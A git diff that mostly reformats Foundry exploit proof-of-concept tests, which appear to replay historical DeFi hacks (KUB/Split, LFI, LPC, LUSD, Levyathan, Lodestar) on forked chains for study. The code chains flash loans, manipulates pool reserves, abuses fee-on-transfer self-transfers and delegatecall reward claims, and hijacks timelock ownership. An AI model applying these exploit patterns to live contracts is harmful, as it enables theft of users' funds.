constant BUSDT_KUB = 0x1E338D9Db6bb78cFd8eE1F756907899C006711AF; + address private constant upAddressForStake = 0x67Bf514E9e07b2F95C8805f9a035f60512384d1c; + address private constant exploiter = 0x7Ccf451D3c48C8bb747f42F29A0CdE4209FF863e; function setUp() public { - vm.createSelectFork("bsc", 32021100 - 1); + vm.createSelectFork("bsc", 32_021_100 - 1); vm.label(address(BUSDT_KUB_LP), "BUSDT_KUB_LP"); vm.label(address(KUB_Split), "KUB_Split"); vm.label(address(BUSDT), "BUSDT"); @@ -99,85 +73,39 @@ contract ContractTest is Test { deal(address(fakeUSDC), address(this), 10_000 * 1e18); emit log_named_decimal_uint( - "Attacker BUSDT balance before attack", - BUSDT.balanceOf(address(this)), - BUSDT.decimals() + "Attacker BUSDT balance before attack", BUSDT.balanceOf(address(this)), BUSDT.decimals() ); - emit log_named_decimal_uint( - "Attacker KUB balance before attack", - KUB.balanceOf(address(this)), - KUB.decimals() - ); + emit log_named_decimal_uint("Attacker KUB balance before attack", KUB.balanceOf(address(this)), KUB.decimals()); emit log_named_decimal_uint( - "Attacker Split balance before attack", - Split.balanceOf(address(this)), - Split.decimals() + "Attacker Split balance before attack", Split.balanceOf(address(this)), Split.decimals() ); BUSDT_KUB_LP.sync(); - DPPOracle1.flashLoan( - 0, - BUSDT.balanceOf(address(DPPOracle1)), - address(this), - abi.encode(0) - ); + DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), abi.encode(0)); emit log_named_decimal_uint( - "Attacker BUSDT balance after attack", - BUSDT.balanceOf(address(this)), - BUSDT.decimals() + "Attacker BUSDT balance after attack", BUSDT.balanceOf(address(this)), BUSDT.decimals() ); - emit log_named_decimal_uint( - "Attacker KUB balance after attack", - KUB.balanceOf(address(this)), - KUB.decimals() - ); + emit log_named_decimal_uint("Attacker KUB balance after attack", KUB.balanceOf(address(this)), KUB.decimals()); emit log_named_decimal_uint( - "Attacker Split balance after attack", - Split.balanceOf(address(this)), - Split.decimals() + "Attacker Split balance after attack", Split.balanceOf(address(this)), Split.decimals() ); } - function DPPFlashLoanCall( - address sender, - uint256 baseAmount, - uint256 quoteAmount, - bytes calldata data - ) external { + function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { if (abi.decode(data, (uint256)) == uint256(0)) { - DPPOracle2.flashLoan( - 0, - BUSDT.balanceOf(address(DPPOracle2)), - address(this), - abi.encode(1) - ); + DPPOracle2.flashLoan(0, BUSDT.balanceOf(address(DPPOracle2)), address(this), abi.encode(1)); } else if (abi.decode(data, (uint256)) == uint256(1)) { - DPPAdvanced.flashLoan( - 0, - BUSDT.balanceOf(address(DPPAdvanced)), - address(this), - abi.encode(2) - ); + DPPAdvanced.flashLoan(0, BUSDT.balanceOf(address(DPPAdvanced)), address(this), abi.encode(2)); } else if (abi.decode(data, (uint256)) == uint256(2)) { - DPPOracle3.flashLoan( - 0, - BUSDT.balanceOf(address(DPPOracle3)), - address(this), - abi.encode(3) - ); + DPPOracle3.flashLoan(0, BUSDT.balanceOf(address(DPPOracle3)), address(this), abi.encode(3)); } else if (abi.decode(data, (uint256)) == uint256(3)) { - DPP.flashLoan( - 0, - BUSDT.balanceOf(address(DPP)), - address(this), - abi.encode(4) - ); + DPP.flashLoan(0, BUSDT.balanceOf(address(DPP)), address(this), abi.encode(4)); } else { BUSDT.approve(address(Router), type(uint256).max); BUSDT.approve(address(StakingRewards1), type(uint256).max); @@ -187,13 +115,7 @@ contract ContractTest is Test { KUB_Split.sync(); BUSDTToSplit(); - StakingRewards1.stake( - address(KUB), - address(BUSDT), - address(BUSDT), - upAddressForStake, - 1000e18 - ); + StakingRewards1.stake(address(KUB), address(BUSDT), address(BUSDT), upAddressForStake, 1000e18); uint8 i; while (i < 30) { @@ -215,8 +137,7 @@ contract ContractTest is Test { uint256 amountSplit = Split.balanceOf(address(BUSDT_Split)) * 2; // Exploit // Creating pair with original fake USDC token deployed by attacker before - address fakeUSDC_Split = IUniswapV2Factory(Router.factory()) - .createPair(address(fakeUSDC), address(Split)); + address fakeUSDC_Split = IUniswapV2Factory(Router.factory()).createPair(address(fakeUSDC), address(Split)); // Tx.origin must be exploiter eoa here (because original fake USDC contract is in use and exploiter addr is required to transfer) vm.startPrank(address(this), exploiter); // Send tokens to newly created token pair - USDC-Split @@ -235,55 +156,24 @@ contract ContractTest is Test { i = 0; while (i < 100) { - (uint112 reserveKUB, uint112 reserveSplit, ) = KUB_Split - .getReserves(); - uint256 amountOutKUB = calcAmountOut( - KUB_Split, - StakingRewards2, - reserveKUB, - KUB - ); - - uint256 amountInSplit = PancakeRouter2.getAmountIn( - amountOutKUB, - reserveSplit, - reserveKUB - ); - - if ( - Split.balanceOf(address(this)) <= - ((amountInSplit * 2) * 9) / 10 - ) { - StakingRewards2.sell( - address(Split), - address(KUB), - amountInSplit - ); + (uint112 reserveKUB, uint112 reserveSplit,) = KUB_Split.getReserves(); + uint256 amountOutKUB = calcAmountOut(KUB_Split, StakingRewards2, reserveKUB, KUB); + + uint256 amountInSplit = PancakeRouter2.getAmountIn(amountOutKUB, reserveSplit, reserveKUB); + + if (Split.balanceOf(address(this)) <= ((amountInSplit * 2) * 9) / 10) { + StakingRewards2.sell(address(Split), address(KUB), amountInSplit); } else { - StakingRewards2.sell( - address(Split), - address(KUB), - ((amountInSplit * 2) * 9) / 10 - ); + StakingRewards2.sell(address(Split), address(KUB), ((amountInSplit * 2) * 9) / 10); } ++i; } i = 0; while (i < 10) { - (uint112 reserveBUSDT, uint112 reserveKUB, ) = BUSDT_KUB_LP - .getReserves(); - uint256 amountOutBUSDT = calcAmountOut( - BUSDT_KUB_LP, - StakingRewards1, - reserveBUSDT, - BUSDT - ); - uint256 amountInKUB = PancakeRouter1.getAmountIn( - amountOutBUSDT, - reserveKUB, - reserveBUSDT - ); + (uint112 reserveBUSDT, uint112 reserveKUB,) = BUSDT_KUB_LP.getReserves(); + uint256 amountOutBUSDT = calcAmountOut(BUSDT_KUB_LP, StakingRewards1, reserveBUSDT, BUSDT); + uint256 amountInKUB = PancakeRouter1.getAmountIn(amountOutBUSDT, reserveKUB, reserveBUSDT); StakingRewards1.sell(address(KUB), address(BUSDT), amountInKUB); @@ -297,13 +187,7 @@ contract ContractTest is Test { address[] memory path = new address[](2); path[0] = address(BUSDT); path[1] = address(KUB); - Router.swapExactTokensForTokens( - BUSDT.balanceOf(BUSDT_KUB) * 2, - 0, - path, - address(this), - block.timestamp + 1000 - ); + Router.swapExactTokensForTokens(BUSDT.balanceOf(BUSDT_KUB) * 2, 0, path, address(this), block.timestamp + 1000); } function BUSDTToSplit() internal { @@ -311,11 +195,7 @@ contract ContractTest is Test { path[0] = address(BUSDT); path[1] = address(Split); Router.swapExactTokensForTokens( - BUSDT.balanceOf(address(BUSDT_Split)) * 2, - 0, - path, - address(this), - block.timestamp + 1000 + BUSDT.balanceOf(address(BUSDT_Split)) * 2, 0, path, address(this), block.timestamp + 1000 ); } @@ -325,11 +205,7 @@ contract ContractTest is Test { path[1] = address(Split); path[2] = address(BUSDT); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - fakeUSDC.balanceOf(address(this)), - 0, - path, - address(this), - block.timestamp + 1000 + fakeUSDC.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000 ); } diff --git a/src/test/LFI_exp.sol b/src/test/LFI_exp.sol index 5dc03221..3009b057 100644 --- a/src/test/LFI_exp.sol +++ b/src/test/LFI_exp.sol @@ -19,10 +19,11 @@ import "./interface.sol"; // Twitter Guy : https://twitter.com/AnciliaInc/status/1660767088699666433 // Hacking God : https://www.google.com/ -interface IVLFI is IERC20{ +interface IVLFI is IERC20 { function claimRewards(address to) external; function stake(address onBehalfOf, uint256 amount) external; } + contract ContractTest is Test { IERC20 LFI = IERC20(0x77D97db5615dFE8a2D16b38EAa3f8f34524a0a74); IVLFI VLFI = IVLFI(0xfc604b6fD73a1bc60d31be111F798dd0D4137812); @@ -31,7 +32,7 @@ contract ContractTest is Test { CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("polygon", 43025776); + cheats.createSelectFork("polygon", 43_025_776); cheats.label(address(LFI), "LFI"); cheats.label(address(VLFI), "VLFI"); } @@ -39,34 +40,32 @@ contract ContractTest is Test { function testExploit() external { deal(address(LFI), address(this), 86_000 * 1e18); claimer = new Claimer(); - LFI.approve(address(VLFI), type(uint).max); + LFI.approve(address(VLFI), type(uint256).max); VLFI.stake(address(claimer), LFI.balanceOf(address(this))); - for(uint i; i < 200; i++){ + for (uint256 i; i < 200; i++) { address newClaimer = claimer.delegate(VLFI.balanceOf(address(claimer)), address(this)); claimer = Claimer(newClaimer); } - - emit log_named_decimal_uint( - "Attacker LFI balance after exploit", LFI.balanceOf(address(this)), LFI.decimals() - ); + emit log_named_decimal_uint("Attacker LFI balance after exploit", LFI.balanceOf(address(this)), LFI.decimals()); } - function claimReward(uint256 VLFITransferAmount, address owner) external returns(address){ + function claimReward(uint256 VLFITransferAmount, address owner) external returns (address) { VLFI.claimRewards(owner); claimer = new Claimer(); VLFI.transfer(address(claimer), VLFITransferAmount); return address(claimer); } - } -contract Claimer is Test{ +contract Claimer is Test { IERC20 LFI = IERC20(0x77D97db5615dFE8a2D16b38EAa3f8f34524a0a74); IVLFI VLFI = IVLFI(0xfc604b6fD73a1bc60d31be111F798dd0D4137812); Claimer claimer; - function delegate(uint256 VLFITransferAmount, address owner) external returns(address){ - (, bytes memory returnData) = msg.sender.delegatecall(abi.encodeWithSignature("claimReward(uint256,address)", VLFITransferAmount, owner)); + + function delegate(uint256 VLFITransferAmount, address owner) external returns (address) { + (, bytes memory returnData) = + msg.sender.delegatecall(abi.encodeWithSignature("claimReward(uint256,address)", VLFITransferAmount, owner)); return abi.decode(returnData, (address)); } -} \ No newline at end of file +} diff --git a/src/test/LPC.exp.sol b/src/test/LPC.exp.sol index 632c2d28..e4965e52 100644 --- a/src/test/LPC.exp.sol +++ b/src/test/LPC.exp.sol @@ -6,7 +6,7 @@ import "./interface.sol"; // @KeyInfo - Total Lost : 178 BNB (~ 45,715 US$) // Attacker : 0xd9936EA91a461aA4B727a7e3661bcD6cD257481c -// AttackContract : 0xcfb7909b7eb27b71fdc482a2883049351a1749d7 +// AttackContract : 0xcfb7909b7eb27b71fdc482a2883049351a1749d7 // Txhash : 0x0e970ed84424d8ea51f6460ce6105ab68441d4450a80bc8d749fdf01e504ed8c // @Info @@ -16,34 +16,32 @@ import "./interface.sol"; // PANews : https://www.panewslab.com/zh_hk/articledetails/uwv4sma2.html // Beosin Alert : https://twitter.com/BeosinAlert/status/1551535854681718784 - CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); address constant attacker = 0xd9936EA91a461aA4B727a7e3661bcD6cD257481c; address constant LPC = 0x1E813fA05739Bf145c1F182CB950dA7af046778d; address constant pancakePair = 0x2ecD8Ce228D534D8740617673F31b7541f6A0099; - contract Exploit is Test { function setUp() public { - cheat.createSelectFork("bsc", 19852596); + cheat.createSelectFork("bsc", 19_852_596); cheat.label(LPC, "LPC"); cheat.label(pancakePair, "PancakeSwap LPC/USDT"); } function testExploit() public { - emit log_named_decimal_uint("LPC balance", IERC20(LPC).balanceOf(address(this)), 18); + emit log_named_decimal_uint("LPC balance", IERC20(LPC).balanceOf(address(this)), 18); console.log("Get LPC reserve in PancakeSwap..."); - (uint256 LPC_reserve, , ) = IPancakePair(pancakePair).getReserves(); + (uint256 LPC_reserve,,) = IPancakePair(pancakePair).getReserves(); emit log_named_decimal_uint("\tLPC Reserve", LPC_reserve, 18); console.log("Flashloan all the LPC reserve..."); uint256 borrowAmount = LPC_reserve - 1; // -1 to avoid trigger INSUFFICIENT_LIQUIDITY - bytes memory data = unicode'⚡💰'; + bytes memory data = unicode"⚡💰"; IPancakePair(pancakePair).swap(borrowAmount, 0, address(this), data); console.log("Flashloan ended"); - emit log_named_decimal_uint("LPC balance", IERC20(LPC).balanceOf(address(this)), 18); + emit log_named_decimal_uint("LPC balance", IERC20(LPC).balanceOf(address(this)), 18); console.log("\nNext transaction will swap LPC to USDT"); } @@ -53,13 +51,13 @@ contract Exploit is Test { emit log_named_decimal_uint("\tFlashloaned LPC", LPC_balance, 18); console.log("\tExploit..."); - for(uint8 i; i<10; ++i){ + for (uint8 i; i < 10; ++i) { console.log("\tSelf transfer... Loop %s", i); IERC20(LPC).transfer(address(this), LPC_balance); } - + console.log("\tPayback flashloan..."); - uint256 paybackAmount = amount0 / 90 / 100 * 10000; // paybackAmount * 90% = amount0 --> fee = 10% + uint256 paybackAmount = amount0 / 90 / 100 * 10_000; // paybackAmount * 90% = amount0 --> fee = 10% IERC20(LPC).transfer(pancakePair, paybackAmount); } -} \ No newline at end of file +} diff --git a/src/test/LUSD_exp.sol b/src/test/LUSD_exp.sol index 1a199368..2a0eaf1e 100644 --- a/src/test/LUSD_exp.sol +++ b/src/test/LUSD_exp.sol @@ -16,35 +16,30 @@ import "./interface.sol"; //LOAN : 0xdec12a1dcbc1f741ccd02dfd862ab226f6383003 interface LOAN { - function supply(address supplyToken,uint256 supplyAmount) external; + function supply(address supplyToken, uint256 supplyAmount) external; } interface LUSDPOOL { - function withdraw(uint256 amount) external; + function withdraw(uint256 amount) external; } + contract LUSDTEST is Test { IERC20 BEP20USDT = IERC20(0x55d398326f99059fF775485246999027B3197955); IERC20 BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c); IERC20 LUSD = IERC20(0x3cD632C25A4Db4c1A636cFb23B9285Be1097A60d); LOAN LOAN_ADDRESS = LOAN(0xdeC12a1dCbC1F741cCD02dFd862ab226F6383003); LUSDPOOL POOL_ADDRESS = LUSDPOOL(0x637De69F45F3b66D5389F305088A38109aA0cf7C); - IDPPOracle DPPOracle1 = - IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618); - IDPPOracle DPPOracle2 = - IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681); - IDPPOracle DPPOracle3 = - IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A); + IDPPOracle DPPOracle1 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618); + IDPPOracle DPPOracle2 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681); + IDPPOracle DPPOracle3 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A); IDPPOracle DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476); - IDPPOracle DPPAdvanced = - IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d); - IPancakeRouter Router = - IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); - IPancakePair CakeLP = - IPancakePair(payable(0x3F803EC2b816Ea7F06EC76aA2B6f2532F9892d62)); + IDPPOracle DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d); + IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); + IPancakePair CakeLP = IPancakePair(payable(0x3F803EC2b816Ea7F06EC76aA2B6f2532F9892d62)); CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("bsc", 29756866); + cheats.createSelectFork("bsc", 29_756_866); cheats.label(address(BEP20USDT), "BEP20USDT"); cheats.label(address(DPPOracle1), "DPPOracle1"); cheats.label(address(DPPOracle2), "DPPOracle2"); @@ -58,26 +53,17 @@ contract LUSDTEST is Test { function testSkim() public { deal(address(BEP20USDT), address(this), 0); emit log_named_decimal_uint( - "Attacker BEP20USDT balance before attack", - BEP20USDT.balanceOf(address(this)), - BEP20USDT.decimals() + "Attacker BEP20USDT balance before attack", BEP20USDT.balanceOf(address(this)), BEP20USDT.decimals() ); takeFlashloan(DPPOracle1); emit log_named_decimal_uint( - "Attacker BEP20USDT balance after attack", - BEP20USDT.balanceOf(address(this)), - BEP20USDT.decimals() + "Attacker BEP20USDT balance after attack", BEP20USDT.balanceOf(address(this)), BEP20USDT.decimals() ); } - function DPPFlashLoanCall( - address sender, - uint256 baseAmount, - uint256 quoteAmount, - bytes calldata data - ) external { + function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { if (msg.sender == address(DPPOracle1)) { takeFlashloan(DPPOracle2); } else if (msg.sender == address(DPPOracle2)) { @@ -89,45 +75,24 @@ contract LUSDTEST is Test { } else { BEP20USDT.approve(address(Router), type(uint256).max); - CakeLP.swap( - 0, - 1_246_953_598_313_175_025, - address(this), - '0x0' - ); + CakeLP.swap(0, 1_246_953_598_313_175_025, address(this), "0x0"); BTCB.approve(address(LOAN_ADDRESS), type(uint256).max); - LOAN_ADDRESS.supply(address(BTCB),1_515_366_635_982_742); + LOAN_ADDRESS.supply(address(BTCB), 1_515_366_635_982_742); LUSD.approve(address(POOL_ADDRESS), type(uint256).max); POOL_ADDRESS.withdraw(LUSD.balanceOf(address(this))); - BTCB.transfer(address(CakeLP),BTCB.balanceOf(address(this))); - CakeLP.swap( - 799_764_317_883_596_339_564_612, - 0, - address(this), - "" - ); - + BTCB.transfer(address(CakeLP), BTCB.balanceOf(address(this))); + CakeLP.swap(799_764_317_883_596_339_564_612, 0, address(this), ""); } //Repaying DPPOracle flashloans BEP20USDT.transfer(msg.sender, quoteAmount); } - function pancakeCall( - address _sender, - uint256 _amount0, - uint256 _amount1, - bytes calldata _data - ) external { + function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external { //Repaying CakeLP (Pair) flashswap BEP20USDT.transfer(address(CakeLP), 800_000 ether); } function takeFlashloan(IDPPOracle Oracle) internal { - Oracle.flashLoan( - 0, - BEP20USDT.balanceOf(address(Oracle)), - address(this), - new bytes(1) - ); + Oracle.flashLoan(0, BEP20USDT.balanceOf(address(Oracle)), address(this), new bytes(1)); } } diff --git a/src/test/LW_exp.sol b/src/test/LW_exp.sol index 9476f9fb..618d6f08 100644 --- a/src/test/LW_exp.sol +++ b/src/test/LW_exp.sol @@ -50,7 +50,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals() - ); + ); } function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external { diff --git a/src/test/Leetswap_exp.sol b/src/test/Leetswap_exp.sol index 92fe712e..f496a5af 100644 --- a/src/test/Leetswap_exp.sol +++ b/src/test/Leetswap_exp.sol @@ -62,6 +62,6 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); } } diff --git a/src/test/Level_exp.sol b/src/test/Level_exp.sol index 52030325..5e69e668 100644 --- a/src/test/Level_exp.sol +++ b/src/test/Level_exp.sol @@ -83,7 +83,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker LVL Token balance after exploit", LVL.balanceOf(address(this)), LVL.decimals() - ); + ); } function createReferral() internal { diff --git a/src/test/Levyathan_poc.sol b/src/test/Levyathan_poc.sol index bc12abeb..56406a14 100644 --- a/src/test/Levyathan_poc.sol +++ b/src/test/Levyathan_poc.sol @@ -21,120 +21,130 @@ All thanks to the creator of this awesome repo */ contract ContractTest is Test { - ILEV LEV = ILEV(0x304c62b5B030176F8d328d3A01FEaB632FC929BA); - - IMasterChef MasterChef = IMasterChef(0xA3fDF7F376F4BFD38D7C4A5cf8AAb4dE68792fd4); - - ITimelock Timelock = ITimelock(0x16149999C85c3E3f7d1B9402a4c64d125877d89D); + + IMasterChef MasterChef = IMasterChef(0xA3fDF7F376F4BFD38D7C4A5cf8AAb4dE68792fd4); + + ITimelock Timelock = ITimelock(0x16149999C85c3E3f7d1B9402a4c64d125877d89D); address attacker = 0x7507f84610f6D656a70eb8CDEC044674799265D3; - address Deployer = 0x6DeBA0F8aB4891632fB8d381B27eceC7f7743A14; - - address user1 = 0x160B6772c9976d21ddFB3e3211989Fa099451af7; - address user2 = 0x2db0500e1942626944efB106D6A66755802Cef20; - + address Deployer = 0x6DeBA0F8aB4891632fB8d381B27eceC7f7743A14; + + address user1 = 0x160B6772c9976d21ddFB3e3211989Fa099451af7; + address user2 = 0x2db0500e1942626944efB106D6A66755802Cef20; function setUp() public { - - vm.createSelectFork("bsc",9545966); //fork bsc at block 9545967 - + vm.createSelectFork("bsc", 9_545_966); //fork bsc at block 9545967 + vm.label(address(MasterChef), "MasterChef"); vm.label(address(LEV), "LEV"); - vm.label(address(Timelock), "Timelock"); - vm.label(address(Deployer), "Deployer"); - + vm.label(address(Timelock), "Timelock"); + vm.label(address(Deployer), "Deployer"); } function test_Timelock() public { - - bytes memory Ownership_hijack = (abi.encodePacked(bytes4(keccak256(bytes("transferOwnership(address)"))),abi.encode(address(attacker)))); - - - //Schedule a transaction from the Deployer current owner of timelock. - vm.startPrank(address(Deployer)); - - Timelock.schedule( - address(MasterChef), - 0, - Ownership_hijack, - bytes32(0), - bytes32(0xf6ee06c6a62a6a42d1ad9d321d45c4f92a7a215509c850ee36fb025ba767a764), - 172800); - - //Validate that transaction is in timelock - bytes32 txHash = Timelock.hashOperation( - address(MasterChef), - 0, - Ownership_hijack, - bytes32(0), - bytes32(0xf6ee06c6a62a6a42d1ad9d321d45c4f92a7a215509c850ee36fb025ba767a764) + bytes memory Ownership_hijack = + (abi.encodePacked(bytes4(keccak256(bytes("transferOwnership(address)"))), abi.encode(address(attacker)))); + + //Schedule a transaction from the Deployer current owner of timelock. + vm.startPrank(address(Deployer)); + + Timelock.schedule( + address(MasterChef), + 0, + Ownership_hijack, + bytes32(0), + bytes32(0xf6ee06c6a62a6a42d1ad9d321d45c4f92a7a215509c850ee36fb025ba767a764), + 172_800 + ); + + //Validate that transaction is in timelock + bytes32 txHash = Timelock.hashOperation( + address(MasterChef), + 0, + Ownership_hijack, + bytes32(0), + bytes32(0xf6ee06c6a62a6a42d1ad9d321d45c4f92a7a215509c850ee36fb025ba767a764) + ); + + assertTrue(Timelock.isOperationPending(txHash)); + + vm.roll(9_600_775); + vm.warp(block.timestamp + 172_800); + + //Execute transaction and validate state is updated + Timelock.execute( + address(MasterChef), + 0, + Ownership_hijack, + bytes32(0), + bytes32(0xf6ee06c6a62a6a42d1ad9d321d45c4f92a7a215509c850ee36fb025ba767a764) ); - - assertTrue(Timelock.isOperationPending(txHash)); - - vm.roll(9600775); - vm.warp(block.timestamp + 172800); - - //Execute transaction and validate state is updated - Timelock.execute( - address(MasterChef), - 0, - Ownership_hijack, - bytes32(0), - bytes32(0xf6ee06c6a62a6a42d1ad9d321d45c4f92a7a215509c850ee36fb025ba767a764)); - - assertTrue(Timelock.isOperationDone(txHash)); - vm.stopPrank(); - - //attacker address recovers LEV MasterChef Contract and mints 1 Octillion tokens - vm.startPrank(address(attacker)); - MasterChef.recoverLevOwnership(); - LEV.mint(address(attacker),100000000000000000000000000); - vm.stopPrank(); - - //Typical user1 tries to leave staking but gets revert error - vm.expectRevert(); - vm.startPrank(address(user1)); - MasterChef.leaveStaking(10000); - - - //Same user1 tries to withdraw but gets another revert error - vm.expectRevert(); - MasterChef.withdraw(3, 272356000000000000000000); - vm.stopPrank(); - - //user2 does emergency withdraw and succeeds - vm.startPrank(address(user2)); - MasterChef.emergencyWithdraw(4); - vm.stopPrank(); - - //user2 does another emergency withdraw and succeeds again.(Its actually user 3/4 that abused the emergencyWithdraw() vulnerability) - vm.startPrank(address(user2)); - MasterChef.emergencyWithdraw(4); - vm.stopPrank(); - - + + assertTrue(Timelock.isOperationDone(txHash)); + vm.stopPrank(); + + //attacker address recovers LEV MasterChef Contract and mints 1 Octillion tokens + vm.startPrank(address(attacker)); + MasterChef.recoverLevOwnership(); + LEV.mint(address(attacker), 100_000_000_000_000_000_000_000_000); + vm.stopPrank(); + + //Typical user1 tries to leave staking but gets revert error + vm.expectRevert(); + vm.startPrank(address(user1)); + MasterChef.leaveStaking(10_000); + + //Same user1 tries to withdraw but gets another revert error + vm.expectRevert(); + MasterChef.withdraw(3, 272_356_000_000_000_000_000_000); + vm.stopPrank(); + + //user2 does emergency withdraw and succeeds + vm.startPrank(address(user2)); + MasterChef.emergencyWithdraw(4); + vm.stopPrank(); + + //user2 does another emergency withdraw and succeeds again.(Its actually user 3/4 that abused the emergencyWithdraw() vulnerability) + vm.startPrank(address(user2)); + MasterChef.emergencyWithdraw(4); + vm.stopPrank(); } } interface ITimelock { -function schedule(address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt, uint256 delay) external; -function hashOperation(address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt) external returns (bytes32 hash); -function isOperationPending(bytes32 id) external returns (bool pending); -function execute(address target, uint256 value, bytes calldata payload, bytes32 predecessor, bytes32 salt) external; -function isOperationDone(bytes32 id) external returns (bool done); - + function schedule( + address target, + uint256 value, + bytes calldata data, + bytes32 predecessor, + bytes32 salt, + uint256 delay + ) external; + function hashOperation( + address target, + uint256 value, + bytes calldata data, + bytes32 predecessor, + bytes32 salt + ) external returns (bytes32 hash); + function isOperationPending(bytes32 id) external returns (bool pending); + function execute( + address target, + uint256 value, + bytes calldata payload, + bytes32 predecessor, + bytes32 salt + ) external; + function isOperationDone(bytes32 id) external returns (bool done); } interface ILEV { -function mint(address receiver, uint256 amount) external; - + function mint(address receiver, uint256 amount) external; } interface IMasterChef { -function recoverLevOwnership() external; -function leaveStaking(uint256 _amount) external; -function withdraw(uint256 _pid, uint256 _amount) external; -function emergencyWithdraw(uint256 _pid) external; - + function recoverLevOwnership() external; + function leaveStaking(uint256 _amount) external; + function withdraw(uint256 _pid, uint256 _amount) external; + function emergencyWithdraw(uint256 _pid) external; } diff --git a/src/test/Libertify_exp.sol b/src/test/Libertify_exp.sol index b15c485f..de3b05d4 100644 --- a/src/test/Libertify_exp.sol +++ b/src/test/Libertify_exp.sol @@ -79,11 +79,11 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals() - ); + ); emit log_named_decimal_uint( "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); } function executeOperation( diff --git a/src/test/LocalTrader2_exp.sol b/src/test/LocalTrader2_exp.sol index 6be3c363..751a0340 100644 --- a/src/test/LocalTrader2_exp.sol +++ b/src/test/LocalTrader2_exp.sol @@ -40,7 +40,7 @@ contract LocalTraders is Test { emit log_named_decimal_uint( "[1] Attacker amount of WBNB before attack", WBNB.balanceOf(address(this)), WBNB.decimals() - ); + ); address addrInSlot0Before = getValFromSlot0(); emit log_named_address("[1] Address value in slot 0 before first call", addrInSlot0Before); @@ -90,7 +90,7 @@ contract LocalTraders is Test { ); emit log_named_decimal_uint( "[4] Attacker amount of WBNB after attack", WBNB.balanceOf(address(this)), WBNB.decimals() - ); + ); } function getValFromSlot0() internal returns (address) { diff --git a/src/test/Lodestar_exp.sol b/src/test/Lodestar_exp.sol index bef94014..13fe4a04 100644 --- a/src/test/Lodestar_exp.sol +++ b/src/test/Lodestar_exp.sol @@ -10,40 +10,35 @@ import "./interface.sol"; // @TX // https://arbiscan.io/tx/0xc523c6307b025ebd9aef155ba792d1ba18d5d83f97c7a846f267d3d9a3004e8c -interface uniswapV3Flash{ - function flash( - address recipient, - uint256 amount0, - uint256 amount1, - bytes calldata data - ) external; +interface uniswapV3Flash { + function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external; } -interface GMXRouter{ +interface GMXRouter { function swapETHToTokens(address[] memory _path, uint256 _minOut, address _receiver) external payable; function swap(address[] memory _path, uint256 _amountIn, uint256 _minOut, address _receiver) external; } -interface GMXReward{ - function mintAndStakeGlpETH(uint256 _minUsdg, uint256 _minGlp) external payable returns(uint256); - function mintAndStakeGlp(address _token, uint256 _amount, uint256 _minUsdg, uint256 _minGlp) external returns(uint256); +interface GMXReward { + function mintAndStakeGlpETH(uint256 _minUsdg, uint256 _minGlp) external payable returns (uint256); + function mintAndStakeGlp( + address _token, + uint256 _amount, + uint256 _minUsdg, + uint256 _minGlp + ) external returns (uint256); } -interface SwapFlashLoan{ - function flashLoan( - address receiver, - address token, - uint256 amount, - bytes memory params - ) external; +interface SwapFlashLoan { + function flashLoan(address receiver, address token, uint256 amount, bytes memory params) external; } -interface GlpDepositor{ +interface GlpDepositor { function donate(uint256 _amount) external; function redeem(uint256 amount) external; } -contract ContractTest is Test{ +contract ContractTest is Test { IERC20 USDC = IERC20(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8); IERC20 DAI = IERC20(0xDA10009cBd5D07dd0CeCc66161FC93D7c9000da1); IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1); @@ -77,7 +72,7 @@ contract ContractTest is Test{ CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("arbitrum", 45121903); + cheats.createSelectFork("arbitrum", 45_121_903); cheats.label(address(USDC), "USDC"); cheats.label(address(DAI), "DAI"); cheats.label(address(WETH), "WETH"); @@ -109,14 +104,14 @@ contract ContractTest is Test{ cheats.label(GlpManager, "GlpManager"); } - function testExploit() external{ + function testExploit() external { address[] memory assets = new address[](3); assets[0] = address(USDC); assets[1] = address(WETH); assets[2] = address(DAI); uint256[] memory amounts = new uint256[](3); amounts[0] = 17_290_000 * 1e6; - amounts[1] = 9_500 * 1e18; + amounts[1] = 9500 * 1e18; amounts[2] = 406_316 * 1e18; 